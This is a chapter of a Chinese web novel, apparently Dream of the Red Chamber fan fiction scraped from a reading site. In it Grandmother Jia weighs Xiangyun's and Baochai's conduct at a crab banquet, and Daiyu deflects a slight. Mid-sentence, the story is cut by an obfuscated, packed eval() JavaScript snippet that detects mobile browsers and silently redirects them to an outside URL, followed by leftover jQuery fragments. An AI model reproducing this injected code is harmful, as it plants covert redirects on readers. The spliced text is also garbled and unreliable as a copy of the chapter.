默认冷灰
24号文字
方正启体

24.螃蟹

作者:树聊花本书字数:K更新时间:
    听着湘云那番头头是道的安排,贾母脸上虽仍端着慈祥的笑意,心里却已翻腾了几番。


    二媳妇前些日子提的赏桂宴,她当时便婉拒了。原想着天还热,螃蟹也未见得肥,何必兴师动众。


    谁知这薛家的丫头,倒是个会钻空子的,分明是瞧准了湘云心无城府,拿她当个现成的幌子,把当初被拒的宴席,移花接木到了今日。


    待入了席,贾母心里那点不痛快又添了几分。主位坐着宝钗也就罢了,湘云这正经做东的,反倒陪在了次席。


    再看满园子的嬷嬷丫鬟,乌压压挤了半座水榭,笑语喧哗与杯盘叮当搅作一团,哪里还有半分世家宴饮的体统?倒像是市井人家的流水席,热闹是热闹了,体统却散了一地。


    正思量间,宝钗温温柔柔的声音适时响起:“这些螃蟹都是铺子里新到的,母亲特意挑了最肥的送来,怕云妹妹初来乍到,张罗不周全。”


    王夫人闻言,脸上倒露出几分满意:“难为姨太太费心。”


    贾母却不接这话,只转着手里的伽楠念珠,目光落在满桌的螃蟹上,确是膏肥黄满,只是这喧宾夺主的妥帖,却像蟹钳上尖尖的刺,分明地哽在了喉间。


    云丫头是史侯家正经的小姐,更是她亲自接来长住的侄孙女。她要设宴,是史家拿不出这份体己,还是贾府少了这点排场?哪里轮得到薛家一个客居的亲戚来垫资张罗?


    这若传扬出去,旁人会如何想?


    只怕要说史家门庭凉薄,苛待孤女,竟连设宴的银钱都需旁人帮衬。又或疑心贾府势大欺人,逼着寄居的亲戚破费做东。


    薛家这几十两银子的螃蟹,买的是王夫人的欢心,赚的是湘云的人情,更是在这满府下人眼前,做足了慷慨大方的姿态。


    可这般算计着的慷慨,是哪门子的大方?真当她是没见过世面的老婆子不成?


    薛家若真存了诚心要请,便该光明正大地递帖子来,恭恭敬敬写一句:姨太太备了薄酒,请老太太、太太并姑娘们赏光。


    头一日单请主子们,择一处雅静所在,设一桌精致的席面,蟹不必多,只拣顶肥的蒸上两笼,配上烫得温温的花雕,两三样清爽小菜,大家安安闲闲地说说话,赏赏桂,这才是请客的体统。


    第二日再让薛家一位体面媳妇,在一处宽敞地方,另设几桌款待府里有头脸的嬷嬷、管事媳妇们。按着各人身份体面安排坐次,菜要实在,酒要管够,让下人们也松快一日,这才叫全了礼数,顾了人情。


    哪有像今儿这般,主子奴才乌泱泱挤作一处,吵吵嚷嚷像赶庙会似的?


    这般不上不下的请法,既失了主家的体面,又显不出客人的诚意,倒把一桩好事办得不伦不类,里外难堪。


    说来终究是商贾门庭的习气,总盘算着以最小本钱,博取最大人情,却不知簪缨世族讲究的,是行止有度,光明磊落。


    这般机关算尽,反落了下乘。


    念珠在指间转得缓了,贾母垂下眼帘,掩去眸中深沉的思量,这薛家母女,往后还得再多留几分心才是。


    宝钗见贾母入席后久久未动牙箸,只慢慢转着念珠,便起身执壶,笑容温婉得体:“老祖宗尝尝这菊花酒,是用去岁收的菊花酿的,最是温和。”


    贾母接过酒杯,目光却投向水榭另一头。


    湘云正忙得不可开交,一会儿急声纠正小丫鬟摆错的姜醋碟,一会儿又慌慌赶去招呼刚到的嬷嬷,颊上沁出薄汗,连鬓边的绢花都斜了几分。


    “酒是好酒,”贾母只沾了沾唇便放下杯盏,淡淡道,“只是这宴席……”


    湘云那孩子忙的团团转,是一片赤诚想张罗好,可惜全然拿捏不住分寸。该亲自招呼的主子们晾在一边,反倒忙着去管那些细枝末节。


    反观身侧的宝钗,却始终稳稳当当地侍立在一旁,该斟酒时斟酒,该布菜时布菜,处处周全,倒衬得湘云越发像个没头苍蝇。


    “云丫头。”


    贾母声音微沉,正忙乱的湘云闻声惊得一颤,蓦地回过头来。


    “你既要做东,就该拿出做东的款来。宾客孰先孰后,席面孰轻孰重,心里都得有个章法。这般事事都让宝丫头替你张罗,知道的说是你们姐妹情深,不知道的,倒要疑心咱们府里连待客的规矩都不懂了。”


    湘云脸上红一阵白一阵,讷讷道:“我……我是怕怠慢了……”


    宝钗放下酒壶,握住湘云的手:“老祖宗教导得是。原是我想着云妹妹初来乍到,怕她年轻不知事,这才多嘴提醒了几句。倒是忘了她原是该自己历练的,反显得我僭越了。”


    这番话以退为进,说得滴水不漏,看似将过错揽在自己身上,实则做实了湘云不知事的名头。


    湘云哪里听得出这里头的弯弯绕绕,只当宝钗真心护着她,顿时红了眼圈,急声道:“老祖宗别怪宝姐姐!她都是为了我好!我……”


    辩解的话说到一半,湘云自己先乱了阵脚,目光无措地游移,正撞见安安静静坐在贾母下首的黛玉。


    她面前不过一碟姜醋拌的蟹肉,一盅烟气袅袅的温酒,通身的气度却沉静得像一泓秋水,仿佛席间所有的喧嚷都扰不了她方寸之地。


    湘云心口像是被什么东西猛地一攥,那点说不清是艳羡还是委屈的涩意直冲上来,冲口便道:“我自然是比不得林姐姐伶俐周全,能入长公主的青眼!”


    话音落下,她自己先愣了。宝钗握着她的手微微一紧,随即松开,转而轻轻拍了拍她的背,叹道:“又说傻话了。”


    黛玉见话题引到自己身上,握着银匙的指尖微微一顿。


    往日姐妹们私下玩笑时,湘云便常常这般,话里话外总要寻些由头与她比较。她只当是小女儿家的意气,懒怠费神理会,左耳进右耳出便罢了。


    可今日这宴席上,老太太、太太、姨太太和满府有头有脸的嬷嬷都在场,湘云


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16869966|187924||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    竟还要当众给她没脸。


    若是依着她的性子,此刻少不得要绵里藏针地回敬几句,让这不知轻重的丫头知道,不是谁都能拿来作筏子的。


    可余光里,她瞧见上首的外祖母,笑容虽挂脸上,底下却隐隐透着几分疲惫,想来是对这乱哄哄的场面,这不上台面的口舌,心里早已腻烦透了。


    思及此处,黛玉心头那点被撩起的火气,便熄了下去。外祖母年纪大了,精神不比从前,何苦让她再为小辈的口舌是非劳神?


    她放下银匙,用帕子拭了拭唇角,抬起眼时,面上已是一片云淡风轻,看不出半分火气:“云妹妹说笑了。我不过仗着身子弱,偷个懒罢了。若真让我张罗这么一大摊子事,怕比妹妹还手忙脚乱呢。”


    黛玉说着,朝湘云浅浅一笑:“妹妹初次操持便能想得这般周全,已是不易。谁不是从生疏到熟稔的?多经几回便好了。”


    贾母将这一切尽收眼底,无声地叹了口气。


    湘云那孩子,心直口快原是她的好处,可也太没个成算。宝钗那几句听着是回护,实则句句都在坐实她年轻不知事。偏这傻丫头还感激涕零,被人当枪使了都不自知,临了还要扯上玉儿,这是唯恐场面不够乱么?


    贾母看着湘云犹带稚气的侧脸,心里那点原本盘算着的念头,忽然就晃了一晃。


    她接湘云来长住,原是存了两头安排的意思。玉儿眼看着要往高处走,宝玉的婚事自然需要早作绸缪。湘云活泼爽利,与宝玉自小亲厚,史家门第也显贵,本是现成的人选。


    可今日这一出……


    贾母微微蹙眉,做主母的,可以爽利,却不能莽撞,可以活泼,却不能不知轻重。云丫头这般轻易被人牵着鼻子走,分不清里外好赖的性子,将来若真做了宝二奶奶,如何镇得住这一大家子?如何经得起那些世家大族里更复杂的弯弯绕绕?


    她的目光缓缓转向一旁的黛玉,心头的疑虑便暂且搁下了。


    玉儿方才的隐忍退让,她是看在眼里的。孩子到底是年轻,心里哪能没火气?可贵就贵在懂得克制。瞧瞧那番回话,既不失身份体面,又全了场面情分,这才是寻常闺阁里难寻的见识。


    贾母心中思绪万千,面上却不显,只将手中念珠置于案上,缓声道:“玉儿方才说得在理。”


    她目光温和地落在黛玉身上,话却是说给满席人听的:“姐妹间玩笑要有分寸,更要知道体谅。你林姐姐身子弱是实情,你们平日一处玩闹,要多顾念些。”


    这话明着是嘱咐,暗里却是提醒湘云,莫要再不知轻重。


    湘云张了张嘴,到底没敢再辩,只低下头去。


    宝钗依旧含笑侍立,只是那笑意,在贾母的目光下略有些勉强。


    贾母也不深究,抬眼望向水榭外那几树开得正盛的丹桂,语气舒缓下来:“既是赏桂起社,便好好赏玩罢。云丫头既做了东,便莫要辜负了这一秋的好光景。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)